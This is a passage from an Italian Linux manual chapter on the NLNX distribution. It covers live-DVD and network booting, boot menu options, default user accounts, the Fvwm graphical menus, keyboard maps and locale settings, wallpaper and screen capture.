Per la gestione della stampa si utilizza LPRng e non ci si avvale di CUPS. Per problemi di dipendenze tra i pacchetti applicativi, ne esistono alcuni di fittizi, senza alcun contenuto.

50.1.3 File system compresso

Nelle edizioni attuali di NLNX, a eccezione di alcuni file necessari per l'avvio, il file system del disco ottico *live* contiene dati compressi. Per la precisione, i dati compressi sono contenuti in un file system Squashfs (sezione 21.9), rappresentato dal file immagine '`nlnx.img`'.

50.1.4 Espulsione del disco

Nelle edizioni attuali di NLNX, quando il sistema viene utilizzato direttamente da disco ottico *live*, al termine del suo funzionamento tenta di espellere automaticamente il disco.

50.1.5 Aggiornamento

NLNX non dispone di una procedura di aggiornamento. Se si vuole «aggiornare» un sistema installato nel modo tradizionale, occorre fare una copia di quello vecchio, reinstallare quello nuovo e quindi ripristinare manualmente la configurazione precedente, assieme a tutti gli altri dati che prima venivano gestiti nello stesso file system.

50.1.6 Sistema di emergenza

NLNX si avvale di un disco RAM iniziale per l'avvio. Questo disco RAM include un proprio sistema minimo che generalmente mostra un menù di funzioni, per lo più rivolte alla selezione dell'unità da usare per l'avvio. Ma nel menù è prevista anche la voce *`rescue`*, con la quale si ottiene un sistema minimo di emergenza, da usare per la manutenzione. Questo sistema minimo può consentire l'accesso a directory condivise in rete attraverso il protocollo NFS ed eventualmente è in grado di configurarsi automaticamente se è disponibile un servizio DHCP.

50.1.7 Installazione: normale o in sola lettura

L'installazione ottimale di NLNX prevede l'uso esclusivo di una partizione di un disco fisso, tale da consentire un utilizzo «normale». Al contrario, il funzionamento da un disco ottico *live* o da unità di memoria solida USB (o anche da altri contesti), è differente, in quanto, in tal caso il file system è in sola lettura.

Teoricamente, si potrebbe installare NLNX in una memoria solida USB, come se si trattasse di un disco fisso comune. Tuttavia, gestendo un file system in lettura e scrittura, si hanno due tipi di problemi: le operazioni di scrittura sono molto lente e tutte le operazioni che si svolgono ne sarebbero coinvolte, compreso l'avvio che diventerebbe lentissimo, ma soprattutto, **la scrittura continua distruggerebbe rapidamente l'unità di memoria**.

50.1.8 Avvio dalla rete

Con NLNX è possibile allestire un servente in grado di gestire l'avvio di altri sistemi NLNX attraverso la rete. Ciò può comportare due tipi di approccio: l'avvio di un sistema remoto, non disponendo localmente di una memoria di massa adeguata, oppure l'avvio di un sistema installato localmente, per il quale non è però necessario intervenire modificando il settore di avvio.

50.2 Ambiente operativo ideale di NLNX

NLNX è organizzato per soddisfare delle esigenze che vanno dalla realizzazione di dischi ottici *live* fino all'amministrazione di una rete locale importante, con la centralizzazione delle utenze e dei dati personali (cartelle o directory personali). L'ambiente di riferimento è la scuola (escludendo però la parte amministrativa, per la quale è necessario ci sia una separazione fisica, rispetto alla rete didattica), dove la quantità di utenti e di postazioni di lavoro è sempre molto elevata.

Con NLNX è possibile amministrare le utenze, sia per altri sistemi NLNX, sia per sistemi MS-Windows, ma soprattutto è possibile **consentire** l'uso di un sistema GNU/Linux a chi lo voglia, senza essere per questo costretti a predisporre doppie partizioni e sistemi di avvio multipli nella stessa memoria di massa.

50.2.1 Servente

Tutto quello che serve per la gestione dei servizi legati alla rete, viene collocato all'interno di un solo elaboratore, provvedendo però ad assicurare un sistema di copie di sicurezza, tale da permettere un ripristino tempestivo, anche in un altro elaboratore, in caso di avaria.

Per il servente è sufficiente hardware comune e una sola unità a disco di capacità media. Ciò su cui conviene puntare è la qualità della CPU e la quantità di memoria centrale. In particolare, una quantità elevata di memoria centrale serve ad alleggerire il carico di lavoro dell'unità a disco.

50.2.2 Elaboratori periferici

Gli elaboratori periferici che si avvalgono del servente per la gestione delle utenze e per gli altri servizi, possono funzionare indifferentemente con un sistema NLNX o con MS-Windows, fornendo le stesse utenze e gli stessi dati personali agli utenti. Inoltre, gli elaboratori che vanno utilizzati normalmente con MS-Windows possono essere avviati, attraverso la rete, mettendo in funzione un sistema NLNX equivalente a quello degli elaboratori che ne hanno uno installato stabilmente. Il sistema NLNX offerto attraverso la rete risiede materialmente nel servente e la sua configurazione viene gestita attraverso opzioni di avvio.

50.2.3 Accesso alle stampanti

Le stampanti accessibili attraverso la rete, possono essere stampanti di rete vere e proprie, stampanti offerte da elaboratori NLNX, oppure stampanti condivise attraverso elaboratori MS-Windows. Gli elaboratori NLNX sono in grado di stampare attraverso stampanti condivise di MS-Windows, oltre che da stampanti di rete vere e proprie; inoltre, tale configurazione è gestibile anche quando NLNX viene avviato attraverso la rete.

50.2.4 Proxy HTTP

Per controllare l'utilizzo della rete, relativo al protocollo HTTP, gli elaboratori periferici possono essere configurati in modo da sfruttare il servente NLNX come router per l'accesso all'esterno, il quale va però predisposto per la gestione del servizio proxy trasparente. Il servizio proxy è gestito in modo molto semplice, per evitare conflitti con MS-Windows; per esempio è assente il controllo preventivo dei contenuti.[2]

L'utilizzo del servizio proxy, in modo trasparente come accennato, oltre che consentire un filtro di massima a indirizzi o siti impropri, permette di controllare l'accessibilità o meno delle risorse esterne alle singole postazioni, di volta in volta, anche a utenti che abbiano ottenuto delle facoltà limitate di amministrazione.

50.2.5 Il lavoro a casa

Una copia di NLNX può essere data agli studenti, trattandosi esclusivamente di software libero, in un disco ottico *live* o in un'unità di memoria solida USB. In tal modo gli studenti possono svolgere a casa le stesse esercitazioni, senza bisogno di avere le competenze necessarie a installare effettivamente un sistema GNU/Linux.

50.2.6 Osservazioni

NLNX non ha lo scopo di appoggiare o di assecondare l'uso di software proprietario, ma rimane il fatto che, in molte scuole italiane, sia pressocché «obbligatorio»[3] disporre di laboratori didattici basati sul sistema operativo MS-Windows. Di fronte a questa situazione, per garantire la libertà di insegnamento di chi crede fermamente nel valore del software libero, NLNX offre una soluzione che consente a tutti di rimanere nelle proprie posizioni, senza richiedere risorse eccessive e senza fare discriminazioni.

50.3 NLNX per il principiante

Il principiante può utilizzare NLNX in sola lettura; in tal modo, il riavvio o lo spegnimento accidentale dell'elaboratore non dovrebbero produrre effetti indesiderabili nell'ambito del sistema MS-Windows o di qualunque altro sistema ospitante. Naturalmente, se NLNX viene usato per produrre dei file, questi vanno salvati in unità rimovibili esterne.

50.3.1 Utilizzo del DVD *live*

NLNX è un sistema GNU/Linux che può essere avviato da un disco ottico, senza bisogno di installazione. Per fare questo è necessario che il BIOS sia configurato in modo tale da avviare per primo quanto contenuto nell'unità per dischi ottici.

```
First  boot device      CDROM/DVDROM
Second boot device      Floppy
Third  boot device      HDD-0
Fourth boot device      none
```

Quando si avvia il disco ottico, si ottiene una schermata simile a quella successiva:

```
NLNX boot menu - Press [F1], [F2],... to get more help.

80
81
mem
auto
menu
mod
rescue
net
console
intel
mga
nv

Press [Tab] to edit options

Automatic start with standard configuration and Vesa graphics.
```

Se non si fa nulla, dopo un po' si avvia NLNX con una configurazione predefinita; diversamente si può scegliere una voce specifica dal menù, premendo poi [*Invio*] per conferma.

La distribuzione di NLNX prevede una configurazione automatica dello schermo grafico; ma, in alcuni casi, non funziona. Per quelle situazioni particolari, NLNX può essere avviato scegliendo una voce diversa dal menù iniziale, oppure specificando opzioni particolari, per le quali, però, si richiede un approfondimento del sistema operativo. Se si hanno problemi con la grafica che non si risolvono scegliendo una voce specifica dal menù di avvio iniziale, si può scegliere la voce `console` (al posto di `auto`), ma in tal caso la grafica non viene avviata affatto.

50.3.2 Installazione in «C:\»

In alternativa all'utilizzo da un disco ottico *live*, NLNX può essere installato in modo molto semplice, copiando il file-immagine '`nlnx.img`' nella cartella '`C:\`' di un sistema MS-Windows, senza provocare traumi al sistema ospitante.

Dopo la copia, occorre trovare un modo per avviare NLNX, al posto di MS-Windows. Inizialmente, conviene configurare il BIOS in modo da avviare prima dall'unità per dischi ottici, rispetto al disco fisso normale. In questo modo, quando si vuole usare NLNX, ci si può avvalere del disco di NLNX.

Quando il disco ottico viene avviato, selezionando la voce `menu`, si ottiene un elenco in cui appaiono due voci appartenenti normalmente alla stessa versione di NLNX:

```
.----------------NLNX initial ram disk----------------.
| Please select the root file system.                  |
| .-------------------------------------------------. |
| |   sda1     NLNX_2010.02.21_img_ro               | |
| |   hda      NLNX_2010.02.21_img_ro               | |
| |   rescue   start a rescue system                | |
| |   modules  a shell to load modules manually     | |
| |   net boot boot a network, read only, NLNX      | |
| '-------------------------------------------------' |
|------------------------------------------------------|
|              <  OK  >       <Cancel>                 |
'------------------------------------------------------'
```

In generale, la prima delle due voci dovrebbe essere quella corretta. Si può provare a selezionarla, portandovi sopra la barra di selezione e premendo poi [*Invio*]. Se durante il processo di avvio si vede un'attività intensa del disco ottico, significa che si tratta invece della voce sbagliata; occorre quindi riavviare e scegliere la seconda.

50.3.3 Utenze

Per utilizzare il sistema operativo è necessario che l'utente si identifichi, attraverso l'indicazione di un nominativo-utente e di una parola d'ordine. Quando si usa il file system in sola lettura, in mancanza d'altro sono disponibili delle utenze predefinite: '`tizio`', '`caio`', '`sempronio`',... In ogni caso la parola d'ordine per l'identificazione è sempre «nlnx» (solo lettere minuscole).

A seconda dei casi, l'identificazione può essere richiesta in forma grafica o meno, ma in entrambe le situazioni, la parola d'ordine che viene inserita non appare sullo schermo, nemmeno in forma di asterischi o di pallini; in altri termini, si tratta di una **digitazione che avviene completamente all'oscuro**.

Figura 50.6. *Login*: a sinistra nella modalità grafica; a destra in una console tradizionale.


```
This is terminal tty1
nlnx login:  tizio
Password:
```

Eccezionalmente, è possible configurare NLNX all'avvio, in modo da essere utilizzato esclusivamente con le utenze predefinite, senza bisogno di inserire una parola d'ordine per l'autenticazione. In tal caso, si presenta un menù simile a quello della figura successiva, dove basta selezionare l'utente prescelto, per ottenere poi un funzionamento in modalità grafica.

Figura 50.7. Menù per la selezione di un'utenza predefinita, senza bisogno di fornire poi la parola d'ordine.

```
.------Default user selection--------.
| Please select a default user:      |
| .--------------------------------. |
| |   tizio      /home/tizio       | |
| |   caio       /home/caio        | |
| |   sempronio  /home/sempronio   | |
| |   mevio      /home/mevio       | |
| |   filano     /home/filano      | |
| |   martino    /home/martino     | |
| |   calpurnio  /home/calpurnio   | |
| |   ---------  ---------------   | |
| |   reboot     system reboot     | |
| |   shutdown   system shutdown   | |
| '-----------------------100%----' |
|                                    |
|------------------------------------|
|       <  OK    >     <Annulla>      |
'------------------------------------'
```

Si possono utilizzare sei console virtuali, oltre alla sessione grafica. Per passare da una sessione all'altra si usa la combinazione di tasti [*Ctrl Alt F**n***]. Per la precisione si tratta di [*Ctrl Alt F1*], [*Ctrl Alt F2*],... fino a [*Ctrl Alt F7*] ed eventualmente [*Ctrl Alt F8*]: le prime sei riguardano le console virtuali; la settima combinazione riguarda la sessione grafica e l'ottava, eventuale, riguarda il menù dell'ultima figura mostrata.

Figura 50.8. Selezione delle sessioni di lavoro: a sinistra le combinazioni di tasti per le console virtuali; a destra la combinazione per la sessione grafica.

Figura 50.9. Selezione della console virtuale che ospita il menù, quando è attiva la modalità di accesso alle sole utenze predefinite, senza bisogno di parola d'ordine.

50.3.4 Configurazione automatica della rete

Per poter utilizzare NLNX in rete, senza disporre di competenze particolari al riguardo, è necessario un router configurato per il servizio DHCP. In tal modo, NLNX assume automaticamente la configurazione da tale router, al momento dell'avvio.

Figura 50.10. Router che offre il servizio DHCP e consente la configurazione automatica della rete all'avvio di NLNX.

50.3.5 Voci per l'avvio

Al momento dell'avvio, oltre a '**auto**' o '**console**', è possibile selezionare molte altre voci, a cui corrispondono comportamenti e configurazioni differenti di NLNX. La tabella successiva descrive quelle principali.

Tabella 50.11. Sigle principali per la selezione della modalità di avvio del disco ottico *live* e di unità esterne USB.

Sigla	Comportamento
`80` `81`	Rinvia al primo o al secondo disco locale, ammesso che disponga di un settore MBR con il codice di avvio.
`mem`	Avvia il programma Memtest86+ (descritto nella sezione 9.10) per l'analisi dello stato della memoria centrale.
`auto`	Avvia automaticamente NLNX, utilizzando una configurazione generale predefinita.

Sigla	Comportamento
`menu`	Avvia NLNX, sospendendo il processo di avvio con un menù per la scelta finale del file system principale o di altre opzioni.
`rescue`	Avvia il kernel di NLNX e il disco RAM iniziale, limitandosi a offrire un sistema minimo di emergenza.
`net`	Avvia NLNX innestando un file system di rete, ammesso che sia disponibile il servente per questo tipo di servizio.
`console`	Avvia NLNX, sospendendo il processo di avvio con un menù per la scelta finale del file system principale. A differenza della voce '**`menu`**', non avvia la grafica.

`intel`
`mga`
`nv`
`radeon`
`vesa`
	Avvia NLNX, sospendendo il processo di avvio con un menù per la scelta finale del file system principale. A differenza della voce '**`menu`**', richiede una configurazione grafica particolare, corrispondente al nome usato per la voce stessa.

`hdx` `sdx`	Si tratta di una voce da modificare al volo, con la quale si avvia NLNX utilizzando un file system contenuto del file di dispositivo '`/dev/hd...`' o '`/dev/sd...`'.

50.4 La configurazione grafica di NLNX

NLNX dispone di un servente X per l'uso di applicazioni grafiche, assieme al gestore di finestre Fvwm, ma senza un gestore di sessione.

50.4.1 Menù

Per ottenere il menù delle applicazioni, va selezionato il primo bottone grafico della barra che si solleva quando vi si porta sopra il puntatore del mouse.

Figura 50.12. La barra delle applicazioni.

```
...
...
...
...
...
...
...
quit
reload
$ xlock ...
tizio@172.17.1.1 | d | t | t | m | i |  | Mon 2010-12-12 12:12:12
```

menù

Figura 50.13. Avvio di OpenOffice.org Writer. OGV

Le voci del menù possono avere dei simboli che inizialmente appaiono oscuri, ma che invece hanno un significato preciso. Le voci che iniziano con un dollaro ('`$`'), oppure con un cancelletto ('`#`') rappresentano l'inizio di un comando, così come presumibilmente andrebbe inserito attraverso una finestra di terminale. Che appaia un dollaro o un cancelletto, dipende dal fatto che si stia usando il sistema in qualità di utente comune oppure come amministratore, ma in certi casi il cancelletto anche se si agisce come utente comune, denotando la necessità di ottenere i privilegi dell'amministratore per poter eseguire il comando stesso. Nel caso dell'ultima figura, la voce '**`$ oowriter`**' indica che la sua selezione è equivalente a eseguire il comando:

$ **`oowriter`** [*Invio*]

Figura 50.14. Simboli usati nelle voci del menù.

Il simbolo '**`+`**' indica una voce dalla quale ottenere una guida all'uso del programma; pertanto, '**`+ gnuplot`**' serve a ottenere le istruzioni per usare il programma omonimo. Il simbolo '**`x`**' indica una voce da cui si ottiene un esempio o una dimostrazione del funzionamento del programma che segue. Il simbolo '`@`' indica una voce riferita a un servizio offerto attraverso la rete.

Per chiudere una sessione di lavoro, si seleziona dal menù la voce *`quit`* e quindi si conferma ancora con *`quit`*. Eventualmente, se la procedura normale per chiudere la sessione di lavoro non dovesse funzionare, si può utilizzare la combinazione di tasti [*Ctrl Alt Backspace*] (ovvero [*Ctrl Alt* <---]).

Figura 50.15. Chiusura della sessione di lavoro dell'utente.

```
...
...
...
...
...
...
...
quit                    really quit?
reload                  quit
$ xlock ...
tizio@172.17.1.1 | d | t | t | m | i |        | Mon 2010-12-12 12:12:12
```

Figura 50.16. Uso della combinazione di tasti [*Ctrl Alt Backspace*].

La barra delle applicazioni, da dove si apre il menù, potrebbe scomparire, quando viene eliminato involontariamente il suo processo elaborativo. In tal caso, il menù si ottiene premendo il tasto destro del mouse sulla superficie vuota dello sfondo grafico, e da lì si può selezionare la voce `reload window manager`. Questa operazione non interferisce con le altre applicazioni già in funzione.

Figura 50.17. Riavvio del gestore di finestre. OGV

```
...
...
...
...
...
...
...
quit
reload
$ xlock ...
tizio@172.17.1.1 | d | t | t | m | i |        | Mon 2010-12-12 12:12:12
```

50.4.2 Configurazione delle finestre

L'uso delle applicazioni grafiche, secondo la configurazione del gestore di finestre, è abbastanza intuitivo, ma ci sono degli accorgimenti inusuali che possono essere interessanti. Il trascinamento con il puntatore del mouse sui bordi delle finestre produce lo spostamento o il ridimensionamento delle stesse, a seconda che si trovi, rispettivamente, sulla parte rettilinea o sugli angoli. OGV

il trascinamento sui bordi con l'unità di puntamento produce lo spostamento della finestra

il trascinamento sugli angoli con l'unità di puntamento produce il ridimensionamento della finestra

I bottoni che appaiono sulla barra superiore della finestra, se selezionati con il primo tasto del mouse (o dell'unità di puntamento), si comportano secondo la modalità consueta:

occupa tutto lo schermo

riduce a icona

chiude l'applicazione

Se invece si usa il terzo tasto del mouse (generalmente il destro), su qualunque superficie esterna della finestra, inclusa la barra del titolo, i bottoni già visti e i bottoni delle applicazioni, si ottiene un menù per il controllo della dimensione della finestra o del processo. OGV

max
top
left
right
bottom
min
close
destroy

tizio@172.17.1.1 d t t m i applicazione... applicazione... Mon 2010-12-12 12:12:12

Se si combinano i tasti [*Maiuscole*], [*Ctrl*] e [*Alt*], quando si seleziona la barra del titolo o gli altri bottoni di una finestra, si ottiene un ridimensionamento particolare della stessa:

[Maiuscole]
e tasto sinistro del mouse

[Maiuscole]
e tasto centrale del mouse

[Maiuscole]
e tasto destro del mouse

50.4.3 Comandi da tastiera

Sono disponibili alcuni comandi che possono essere impartiti attraverso la tastiera, che si comportano in modo simile a quello di altri sistemi operativi. Lo specchietto successivo riepiloga le combinazioni possibili, ma occorre sottolineare che la combinazione [*Alt F4*] funziona solo se viene abilitata espressamente dall'utente.

Combinazione	Effetto
[*Ctrl Esc*]	Fa apparire il menù principale, che può essere attraversato con l'aiuto dei tasti freccia e per selezionare la voce evidenziata basta premere il tasto [*Invio*].
[*Alt Esc*]	Mette in primo piano la prossima finestra; ripetendo la combinazione si scorre tra le applicazioni.
[*Alt Tab*]	Fa apparire un menù con l'elenco delle applicazioni disponibili, dove è possibile selezionare quella desiderata per portarla in primo piano.
[*Alt F4*]	Se abilitato, chiude l'applicazione attiva o conclude la sessione grafica, ma solo dopo una conferma.

L'abilitazione o la disabilitazione delle combinazione [*Alt F4*] è accessibile dal menù di Fvwm, come si vede nella figura successiva.

Figura 50.27. Abilitazione o disabilitazione della combinazione [*Alt F4*], attraverso le voci del menù di Fvwm.

50.4.4 Configurazione locale

In condizioni normali, in un sistema GNU/Linux si utilizza la variabile '**LANG**' o le variabili '**LC_***' per dichiarare il linguaggio preferito e le convenzioni locali. La scelta di un linguaggio implica anche quella di una codifica appropriata per la rappresentazione dei caratteri a video e per la scrittura dei file di testo, ma dal momento che la console di un sistema GNU/Linux è in grado di gestire un numero limitato di caratteri per lo schermo, NLNX adotta uno strattagemma.

NLNX introduce l'uso della variabile di ambiente '**LANG_FOR_X**', con la quale si può stabilire una configurazione specifica per l'uso dell'ambiente grafico. Per esempio, si potrebbe gestire la console secondo le convenzioni statunitensi ('**en_US.UTF-8**'), mentre si può impostare la grafica per la lingua e le convenzioni della Russia ('**ru_RU.UTF-8**').

Si osservi che se si avvia una finestra di terminale con una shell di *login* (l'opzione '**-ls**' di '**xterm**' e di altri programmi simili fa questo), la configurazione che si ottiene in quell'ambito è la stessa della console.

Per modificare la configurazione locale durante il funzionamento in modalità grafica, si può accedere alla voce *system*, *$ export LANG=* e selezionare la combinazione di lingua e nazionalità preferita. Nell'elenco non si vede il nome della codifica, perché è stabilito implicitamente che si tratti di UTF-8.

Figura 50.28. Selezione della configurazione locale durante il funzionamento in modalità grafica.

```
...                 $ export LANG=      ...
...                 ...                 id_ID
...                 ...                 is_IS
system              ...                 it_CH
...                                     it_IT
...                                     iw_IL
                                        ja_JP
                                        ...
```

50.4.5 Configurazione della mappa della tastiera

Dal momento che NLNX prevede una configurazione locale adatta anche a lingue che si scrivono con un alfabeto non latino, quando si vuole configurare la mappa della tastiera per una lingua del genere, c'è poi il problema di scrivere comandi o direttive che invece richiedono l'alfabeto latino. Per ridurre gli inconvenienti dovuti a queste esigenze, la configurazione della mappa della tastiera con il sistema grafico, prevede sempre la selezione di una coppia: una mappa principale e una alternativa.

In base alla logica prevista, la mappa principale deve essere quella che consente di scrivere con l'alfabeto latino; probabilmente, se la propria lingua non lo prevede, la mappa principale potrebbe essere quella statunitense. Successivamente, durante il funzionamento è sempre possibile cambiare la mappa alternativa. Per esempio, se la mappa principale, già definita in fase di configurazione, è quella italiana ('`it`'), dal menù si può selezionare la sequenza di voci seguenti per avere una mappa alternativa in greco:
`system`,
`$ setxkbmap -rules xorg`,
`-model pc105 -options "" -options "grp:alt_shift_toggle"`,
`-layout el,it`.

```
$ setxkbmap -rules xorg -model pc105 -options "grp:alt_shift_toggle" -layout el,it
```

Per passare dalla mappa principale a quella alternativa e viceversa, è sufficiente la combinazione di tasti [*Alt Maiuscole*], oppure, si possono anche «scambiare» le mappe con la voce *`keymap groups`* del menù principale.

Si può ottenere la visualizzazione della mappa attiva principale, procedendo così:
`system`,
`$ xkbprint`,
`-color -labels symbols -pict all -ll 1 :n`
(oppure *`-color -labels symbols -pict all -ll 3 :n`* per le funzioni del terzo e quarto livello della tastiera).

```
...
...
...
system
...
...
```

```
...
...
...
$ xkbprint
...
...
```

```
-color -labels symbols -pict all -ll 1 :1.0
-color -labels symbols -pict all -ll 3 :1.0
-eps -color -labels symbols -pict all -ll 1 :1.0
-eps -color -labels symbols -pict all -ll 3 :1.0
```

```
$ xkbprint -color -labels symbols -pict all -ll 1 :1.0
```

50.4.6 Livelli di inserimento

La maggior parte delle mappe prevede l'uso del tasto [*AltGr*] per passare al terzo livello (per esempio, quello che nella disposizione italiana consente di ottenere la chiocciola, il cancelletto, le parentesi quadre e il simbolo dell'euro). Si veda anche quanto scritto a partire dalla sezione 31.7 sulla configurazione e sull'uso della tastiera con X.

Figura 50.32. Livelli della tastiera: in questo caso si tratta della mappa italiana e si vede la selezione dei quattro livelli in corrispondenza del tasto [*n*].

n

N

ñ

Ñ

50.4.7 Accenti morti

Diverse mappe prevedono degli «accenti morti», ovvero tasti o combinazioni di tasti che inizialmente non producono nulla, in attesa della pressione del carattere successivo. Per esempio, per ottenere il carattere «ô», si preme la combinazione [*Maiuscole AltGr* ^] e poi il tasto [*o*]. In altri termini, si seleziona prima l'accento morto e poi il carattere da accentare, ammesso che esista un carattere di quel tipo con quel accento particolare.

Figura 50.33. Accento circonflesso morto.

Figura 50.34. Accento acuto morto.

Figura 50.35. Accento grave morto.

Figura 50.36. Dieresi.

Figura 50.37. Tilde.

Figura 50.38. Cediglia.

50.4.7.1 Metodi di inserimento

NLNX consente di configurare al volo la mappa della tastiera, per tutte le lingue che prevedono un numero limitato di caratteri. Quando si ha a che fare con lingue asiatiche con molti caratteri, quale è il caso del cinese, occorre avvalersi di quello che è noto come «metodo di inserimento intelligente». D'altra parte, il fatto di non disporre di una tastiera con la rappresentazione dei simboli, anche quando questi sono in numero limitato, rende più semplice un metodo di inserimento basato su una forma di traslitterazione.

Nelle edizioni di NLNX standard che dispongono della grafica, all'avvio di X viene avviata anche una copia del demone '**`scim`**', per facilitare l'inserimento di un testo utilizzando i caratteri di varie lingue. Per attivare o disattivare questa funzione speciale, si utilizza la combinazione di tasti [*Ctrl Spazio*], quando è attiva l'applicazione con la quale si è in fase di scrittura. Tuttavia, la combinazione di tasti [*Ctrl Spazio*] non funziona sempre, perché alcuni programmi richiedono espressamente che sia stata predisposta una configurazione locale appropriata (per esempio '**`zh_CN.UTF-8`**' per il cinese).

Figura 50.39. Attivazione e sospensione del metodo di inserimento intelligente, attraverso la combinazione [*Ctrl Spazio*].

Figura 50.40. Attivazione del metodo di inserimento intelligente per la lingua cinese, durante l'uso di un programma per la modifica di file di testo.

È bene osservare che, qualunque metodo di inserimento sia stato scelto, per ottenere il risultato occorre che la configurazione della tastiera preveda l'uso dell'alfabeto latino; inoltre, è necessario che siano disponibili (installati) i caratteri necessari alla scrittura, altrimenti il testo non può essere visualizzato.

50.4.8 Messaggi di errore

Quando si avvia un programma, possono verificarsi dei problemi, che normalmente vengono segnalati attraverso lo standard error. Tuttavia, durante il funzionamento in modalità grafica si tendono a perdere tali messaggi, perché questi programmi sono avviati attraverso un menù e non un terminale comune. Per ovviare a questo inconveniente, la configurazione particolare di NLNX è organizzata in modo da mostrare lo standard output e lo standard error generato dal gestore di finestre, attraverso un terminale trasparente senza titolo, che si trova apparentemente sullo sfondo, la cui attivazione deve però essere richiesta espressamente:
standard output and error window,
new window.

Figura 50.41. Attivazione della finestra trasparente con i messaggi inviati dai programmi allo standard output e allo standard error.

```
standard output and error window | new window
...                              | test standard output
...                              | test standard error
...
...
...
```

Figura 50.42. La finestra dei messaggi, dove si vedono alcune informazioni generate dai programmi.

```
Smart Common Input Method 1.4.6

Launching a SCIM daemon with Socket FrontEnd...
Loading simple Config module ...
Creating backend ...
keyboard groups: it,dk
Use [Alt Shift] to exchange the keyboard group.
Loading socket FrontEnd module ...
Starting SCIM as daemon ...
Launching a SCIM process with x11...
Loading socket Config module ...
Creating backend ...
Loading x11 FrontEnd module ...
GTK Panel of SCIM 1.4.6

Starting SCIM as daemon ...
SCIM has been successfully launched.
/tmp/file1MPugU.fg.jpg is a 1280x960 JPEG image, color space
YCbCr, 3 comps, Huffman coding.
  Merging...done

tizio@172.17.1.1 | d | t | t | m | i |        | Mon 2010-12-12 12:12:12
```

I messaggi che appaiono si possono scorrere all'indietro (anche con l'uso della rotellina del mouse, se disponibile), la finestra dei messaggi può essere eliminata ed eventualmente può essere riavviata successivamente.

50.4.9 Avvio dei programmi

Il menù previsto per NLNX è organizzato in modo tale da facilitare l'avvio di alcune funzioni e programmi privilegiati. Nella maggior parte dei casi, nel menù sono previsti degli accorgimenti, come per esempio quello di mostrare un terminale con l'elenco dei processi più attivi, al momento dell'avvio delle applicazioni che ci mettono un po' di tempo prima di mostrarsi all'utente.

Figura 50.43. Attesa durante l'avvio di un programma.

```
Smart Common Input Method 1.4.6

Launching a SCIM daemon with Socket FrontEnd...
Loading simple Config module ...
Creating backend ...
keyboard groups: it,dk
Use
Load  Loading...
Star   5904 ?        Dl      0:00 x-www-browser
Laun   5904 ?        Rl      0:01 x-www-browser
Load
Crea
Load
GTK

Starting SCIM as daemon ...
SCIM has been successfully launched.
/tmp/file1MPugU.fg.jpg is a 1280x960 JPEG image, color space
YCbCr, 3 comps, Huffman coding.
  Merging...done

tizio@172.17.1.1 | d | t | t | m | i |     | Mon 2010-12-12 12:12:12
```

50.4.10 Chiusura dei programmi

Per concludere il funzionamento di un programma, oltre alle modalità previste dal programma stesso, è possibile fare un clic sul simbolo ☒ che appare sulla barra superiore della finestra, ma sono possibili anche altre opzioni, come sintetizzato dalle immagini successive:

destroy
close
min
bottom
right
left
top
max

tizio@172.17.1.1 d t t m i applicazione... applicazione... Mon 2010-12-12 12:12:12

clic con il tasto destro

close
destroy
quit

Se si vuole eliminare un processo elaborativo, associato a un programma che si mostra graficamente, ma che non si chiude con metodi più delicati, si possono usare le maniere forti. Per esempio, attraverso questo metodo è possibile eliminare anche la finestra trasparente con i messaggi emessi dai programmi:

max
top
left
right
bottom
min
close
destroy

clic con il tasto destro

destroy
close
min
bottom
right
left
top
max

tizio@172.17.1.1 d t t m i applicazione... applicazione... Mon 2010-12-12 12:12:12

clic con il tasto destro

close
destroy
quit

50.4.11 Configurazione del mouse

La configurazione attraverso '**`nlnxrc x config`**' non prevede l'indicazione del tipo di mouse, perché si utilizzano le informazioni trasmesse dal demone '**`gpm`**'; pertanto, la configurazione corretta di questo demone garantisce anche il funzionamento con X.

L'utente comune non ha la possibilità di configurare definitivamente la velocità o l'accelerazione del puntatore del mouse; per queste e altre cose simili deve usare ogni volta il comando '**`xset`**', per il quale appare qualche esempio nel menù di NLNX.

50.4.12 Sfondo

Lo script '**`xinitrc`**', all'avvio del sistema grafico fa una serie di operazioni, tra le quali c'è anche il caricamento dello sfondo, se configurato. Questa immagine è costituita dal file '`~/.wallpaper`' che eventualmente può contenere semplicemente un colore uniforme. Se questo file manca, viene utilizzato comunque un colore predefinito per lo sfondo.

Figura 50.50. Configurazione dello sfondo con colore uniforme, attraverso le voci del menù di Fvwm.

```
...
...
...
edu and fun
...
...

...
...
...
background

$ xsetroot -solid
$ display -window root -backdrop

...
azure
blue
turquoise
cyan
...
```

```
$ xsetroot -solid turquoise
```

Per definire il colore o l'immagine dello sfondo si possono usare le voci del menù di Fvwm; in particolare, per la selezione dell'immagine, è prevista la scansione del contenuto della directory '`/etc/background/`' e della directory personale dell'utente, alla ricerca di file con alcune estensioni tipiche.

Figura 50.51. Configurazione dell'immagine da usare come sfondo, attraverso le voci del menù di Fvwm.

```
...
...
...
edu and fun
...
...

...
...
...
background

$ xsetroot -solid
$ display -window root -backdrop

...
/home/tizio/aquilone.jpg
/etc/background/arcobaleno.jpg
/etc/background/spiaggia.jpg
/etc/background/stella.jpg
...
```

```
$ display -window root -backdrop /etc/background/spiaggia.jpg
```

50.4.13 Cattura dell'immagine dello schermo

Generalmente, con i programmi per il fotoritocco è possibile attivare una funzione per la cattura dell'immagine che appare sullo schermo o solo nell'ambito di una certa finestra. Tuttavia, questa operazione può essere laboriosa, mentre ci sono situazioni in cui poter salvare o stampare qualcosa che si vede attraverso il sistema grafico è importante. Per fare un esempio concreto, ci sono programmi che non dispongono di una funzione di stampa, come Gnuplot e in tal caso, la realizzazione di una foto dello schermo è l'unica possibilità di conservare qualcosa.

Nel menù di Fvwm appare una voce per la cattura delle immagini, che, a seconda dei casi, crea un file nella directory personale dell'utente, invia alla stampa il risultato, oppure crea un file temporaneo e avvia contestualmente un programma per il fotoritocco aprendo quel file. Una volta selezionata la funzione preferita, occorre puntare la finestra da catturare, quindi premere una volta il primo tasto del mouse.

Figura 50.52. Procedimento guidato dal menù di Fvwm per la cattura dell'immagine dello schermo.

Quando si sceglie di salvare l'immagine in un file, si viene avvisati del nome utilizzato, che comunque corrisponde a un modello del tipo: '`screen.`***nn***`.jpg`'.

50.4.14 Bottoni della barra delle applicazioni

La barra delle applicazioni, che di solito appare nella parte inferiore della superficie grafica, contiene dei «bottoni» per accedere rapidamente a funzioni importanti. In particolare, sono presenti due bottoni con la lettera [T] per avviare un terminale; la differenza sta nel fatto che il primo contiene una shell di *login* e come tale rilegge la configurazione come quando si accede al sistema.

Figura 50.53. I «bottoni rapidi» incorporati nella barra delle applicazioni.

50.4.15 Registrazione dello schermo

